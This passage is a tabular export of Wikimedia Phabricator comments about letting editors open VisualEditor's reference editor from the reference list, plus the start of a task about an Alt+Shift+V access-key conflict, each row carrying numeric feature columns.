+https://gerrit.wikimedia.org/r/950231",,,1692416810,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,528,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+2136952,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki on [[ https://patchdemo.wmflabs.org | Patch demo ]]  by ESanders (WMF) using patch(es) linked to this task was **deleted**:
+
+~~[[ https://patchdemo.wmflabs.org/wikis/e045f72283/w/ ]]~~",,,1686069577,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,518,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2131130,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"> Citations and footnotes can now be edited directly in the references section using VisualEditor.
+
+I wouldn't describe it like this (which I think is how the wish was described). You can't edit the citations in-place, like you can a image caption, but you can launch the editing dialog for each reference from the list. Maybe:
+
+> Citation and footnote editing can now be started from the reference list when using the visual editor.
+
+The changes are in wmf10 which is on mediawiki.org (e.g. https://www.mediawiki.org/w/index.php?title=Composer&veaction=edit&section=10) and would already be on Wikipedias but for the train being blocked at the moment (T330216).
+
+There is no documentation at the moment, just the text description.",,,1685118600,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,516,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+2130614,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"For Tech News, please confirm if this is an accurate summary, below? 
+> Citations and footnotes can now be edited directly in the references section using VisualEditor. This feature request was voted #2 in the 2023 Community Wishlist Survey.
+And confirm the timing: Will it be on the deployment train next week, or live on Monday, or other/later?
+And is there a documentation page that it should link to, or just plaintext? 
+Thanks.",,,1685048120,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,516,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+2128263,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Change 922153 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/Cite@master] Fix ref list click-to-edit on mobile%%%
+https://gerrit.wikimedia.org/r/922153",,,1684782321,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,516,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+2128200,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Change 922153 had a related patch set uploaded (by Esanders; author: Esanders):
+%%%[mediawiki/extensions/Cite@master] Fix ref list click-to-edit on mobile%%%
+https://gerrit.wikimedia.org/r/922153",,,1684776138,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,516,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+2125297,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Change 903311 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/Cite@master] Launch reference editors from ve.ce.MWReferencesListNode%%%
+https://gerrit.wikimedia.org/r/903311",,,1684340605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,515,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+2125015,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,This will also supersede T54736 and T183170.,,,1684327960,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,515,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+2115937,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
+https://patchdemo.wmflabs.org/wikis/e045f72283/wiki/Douglas_Adams?veaction=edit",,,1683044836,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,513,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2115933,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki on [[ https://patchdemo.wmflabs.org | Patch demo ]]  by ESanders (WMF) using patch(es) linked to this task was **deleted**:
+
+~~[[ https://patchdemo.wmflabs.org/wikis/6247694800/w/ ]]~~",,,1683044705,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,513,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2115914,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
+https://patchdemo.wmflabs.org/wikis/6247694800/wiki/Douglas_Adams?veaction=edit",,,1683043472,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,513,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2115913,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki on [[ https://patchdemo.wmflabs.org | Patch demo ]]  by ESanders (WMF) using patch(es) linked to this task was **deleted**:
+
+~~[[ https://patchdemo.wmflabs.org/wikis/0f949bd767/w/ ]]~~",,,1683043303,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,513,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2114204,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
+https://patchdemo.wmflabs.org/wikis/0f949bd767/wiki/Douglas Adams?veaction=edit",,,1682683909,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,512,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2098030,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Currently it works like that (both in Chrome and FF):
+
+| 1. before click | 2. first click | 3. second click |
+| {F36934541} | {F36934544} | {F36934546} |
+
+So first click could just change highlighted ref. That would work similar to tables and templates I guess.
+
+> but there is nothing to show after a single click (or any other interaction to be had, e.g. drag/drop).
+
+You could always show an edit button like with templates.",,,1680201324,,PHID-USER-awklupbdn3wr6glu7nyx,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,508,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+2097829,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"> Looks quite promising :-). One note: at the moment in the demo, after saving the changes, the script jumps to the link in the article. If it's not obvious, I think it would be good to stay where you started...
+
+Yes - this will require some more upstream changes to fix.
+
+> I assume 1st click should only select as with other templates
+
+These aren't real focusable templates, it's just a CSS hover and JS click handler. It could be changed to double click, but there is nothing to show after a single click (or any other interaction to be had, e.g. drag/drop).
+
+We have previously implemented this single click -> dialog interaction with the categories list.",,,1680189296,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,508,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+2097786,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"> Looks quite promising :-). One note: at the moment in the demo, after saving the changes, the script jumps to the link in the article. If it's not obvious, I think it would be good to stay where you started...
+
+Yes - this will require some more upstream changes to fix.
+
+> I assume 1st click should only select as with other templates
+
+These aren't real focusable templates, it's just a CSS hover and JS click handler. It could be changed to double click, but there is nothing to show after a single click (or any other interaction to be had, e.g. drag/drop).",,,1680187061,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,508,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+2095495,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"> WIP UI: https://patchdemo.wmflabs.org/wikis/6689bcdde2/wiki/Douglas_Adams?veaction=edit&section=26
+
+Looks quite promising :-). One note: at the moment in the demo, after saving the changes, the script jumps to the link in the article. If it's not obvious, I think it would be good to stay where you started...
+
+Hm... And I think double click is not working correctly. When I click [64] and then click [66] the edit window opens. I assume 1st click should only select as with other templates. I assume that is part of the WIP, but reporting just to be sure :)",,,1679967370,,PHID-USER-awklupbdn3wr6glu7nyx,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,508,,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+2095396,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,Esanders is a god,,,1679953834,,PHID-USER-2xdbwtk2vlfbk2k6hhbh,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,508,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+2095195,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,WIP UI: https://patchdemo.wmflabs.org/wikis/6689bcdde2/wiki/Douglas_Adams?veaction=edit&section=26,,,1679937874,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,508,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+2095193,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Change 903311 had a related patch set uploaded (by Esanders; author: Esanders):
+%%%[mediawiki/extensions/Cite@master] Launch reference editors from ve.ce.MWReferencesListNode%%%
+https://gerrit.wikimedia.org/r/903311",,,1679937793,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,508,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+2094967,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,">>! In T54750#8727283, @Whatamidoing-WMF wrote:
+> Once it becomes possible to edit `<references />`, will editing through `{{reflist}}` require rich editing of templates?
+
+Probably not – we already have a special-case support for templates that generate a reflist. Since we already treat it like a ""real"" references list, any new features should work here as well. For example, note how in https://en.wikipedia.org/wiki/Holcocera_immaculella?veaction=edit (random article) the references are labelled like this: {F36929304} …and not like this: {F36929306} …despite being generated from a `{{Reflist}}` markup.
+
+----
+
+However, supporting references defined using `{{reflist|refs= ... }}` would require rich editing of templates. For example <https://en.wikipedia.org/wiki/Bali#cite_ref-Foley_128-0>. We already detect those and disable editing in visual mode, and presumably something similar woul happen inside this new feature: {F36929314}",,,1679923162,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,508,,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+2094642,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Once it becomes possible to edit `<references />`, will editing through `{{reflist}}` require rich editing of templates?",,,1679850024,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,507,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1
+2077990,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,">>! In T54750#8641368, @DLynch wrote:
+>> Even if we switch to just using (2) this will mean that references are re-numbered when switching from read mode to edit mode.
+> 
+> I think we're stuck with the references renumbering in the reflist if the user edits any of them anyway, so it might be better to do it up-front and have them stay consistent throughout the entire session.
+
+It takes ~800ms to render the list on [[Barack Obama]], hence not doing it up-front. Also on he.wiki, the initial rendering is the only rendering with content.",,,1677604414,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,504,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,0,1,1,1,0,1
+2077984,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,">>! In T54750#8641368, @DLynch wrote:
+>> Even if we switch to just using (2) this will mean that references are re-numbered when switching from read mode to edit mode.
+> 
+> I think we're stuck with the references renumbering in the reflist if the user edits any of them anyway, so it might be better to do it up-front and have them stay consistent throughout the entire session.
+
+It takes ~800ms to render the list on [[Barack Obama]], hence not doing it up-front.",,,1677604047,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,504,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,1,1,1,0,1
+2074898,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"> Even if we switch to just using (2) this will mean that references are re-numbered when switching from read mode to edit mode.
+
+I think we're stuck with the references renumbering in the reflist if the user edits any of them anyway, so it might be better to do it up-front and have them stay consistent throughout the entire session.",,,1677168505,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,503,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1
+2074895,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"I was thinking that a quick path forward would be for the reference list to offer a button that opened up a variant on the reuse dialog. In its context item would be the easiest place.
+
+{F36866803}",,,1677168143,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,503,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+2074183,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Following on from David's point, there are two ways the the reference list is rendered in the VisualEditor surface:
+1. **Using the HTML of the ref list supplied by Parsoid**: This will include all references, included those defined inside templates (e.g. infoboxes), but the numbers will not necessarily map to those in VE's data model, so mapping from these references to editable references will be hard.
+2. **Generating a reference list by iterating over references in the document model**: This will //exclude// references defined inside templates, but can easily be mapped back to the reference data in VE's data model. This list could be edited directly, or be used to launch a reference editor relatively easily.
+
+(1) is used on the first load mostly for performance reasons (implemented in https://gerrit.wikimedia.org/r/c/mediawiki/extensions/Cite/+/411101) as it's a lot quicker to use the pre-generated HTML; rebuilding the reference list can be pretty slow on large pages. It also helps on wikis where most references are defined in templates, such as he.wiki.
+
+Even if we switch to just using (2) this will mean that references are re-numbered when switching from read mode to edit mode.
+
+From a UI perspective, we will need a way of showing the reference list context, probably by not embedding it but also thinking about where a user can click to show it (as clicking the reference list contents would now let you edit the list in some way)
+
+{F36865507}
+{F36865505}",,,1677088390,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,503,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+2071162,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Copying my comment in from the other ticket, since I think it remains relevant here:
+> The major hangup on this is that it's going to expose the challenges with VE seeing references that're defined within templates. (Because of the current lack of a centralized way to edit references, this is only really visible to users from the ""reuse citation"" part of the cite dialog, where such references don't appear.) I suspect that if we accept having those ones greyed out in the list with a ""this can't be edited here"" tooltip, the rest of this should be fairly simple to do -- unless I'm not thinking of something, it's ""just"" hooking up a few bits of already-existing functionality and doing some UI work to expose them.",,,1676585194,,PHID-USER-hdkktg27rkwebepkv6yw,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,502,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+693782,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,[[https://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Questions_techniques/semaine_28_2016#Impossibilt.C3.A9_d.27apporter_des_corrections_dans_les_sections_Notes_et_r.C3.A9f.C3.A9rences|New feedback from a user]] (a beginner) who wants to change a reference rom the reflist while editing with VE. ,,,1468426292,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,158,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+253123,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,The alphabetising problem could perhaps be reduced by making the references only limitedly editable. i.e. Only individually editable in a dialog that allows for the editing of the template/parameters only.,,,1376323496,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1
+253117,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Adam Cuerdon comments:
+    I'd suggest popping up a note telling the user what he or she is doing at least the first time, though. Something like ""This reference is used to document the source of text in the article. You can also edit it by clicking on the number after the text. Please make sure that you don't accidentally break documentation with your edit. Thanks for your work!""
+    We don't want to have a situation where newbies, for example, try to alphabetise the list, say.
+
+Personally, I'm not sure ""documentation"" is the right word, but otherwise it seems like a good suggestion.",,,1376321914,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,6,,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+54701,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox","en.wp user JmCor reports that in Firefox on Windows 7 the shortcut ""<shift><alt>V (show the changes), which stopped working when the Visual Editor was introduced: currently, <shift><alt>V simply positions the cursor on the ""Show the changes"" button.""
+
+I can confirm this also occurs in Firefox 23 on Linux.",Low,25.0,1376130000,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-txrorpbrj6b5ssangri4,task_description,open,True,c1,3,False,False,,5,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+2114855,"Alt+Shift+V access key in the wikitext editor switches to the visual one, so conflicts with 'show changes' which no longer works in Chrome, focus splits in Firefox",">>! In T54701#6404011, @Sunpriat2 wrote:
+> Additionally https://www.mediawiki.org/wiki/Extension:FlaggedRevs add one more tab ""Pending changes"" which is also assigned ""v"" key. Any but unique replacement for short keys will be more convenient to activate instantly.
+
+See {T335652}
+
+>>! In T54701#8587857, @Pols12 wrote:
+> What about using`E` as accesskey for visual__**E**__ditor? From Read view, it opens wikitext editor. Pressing once again, it would switch to VisualEditor.
+
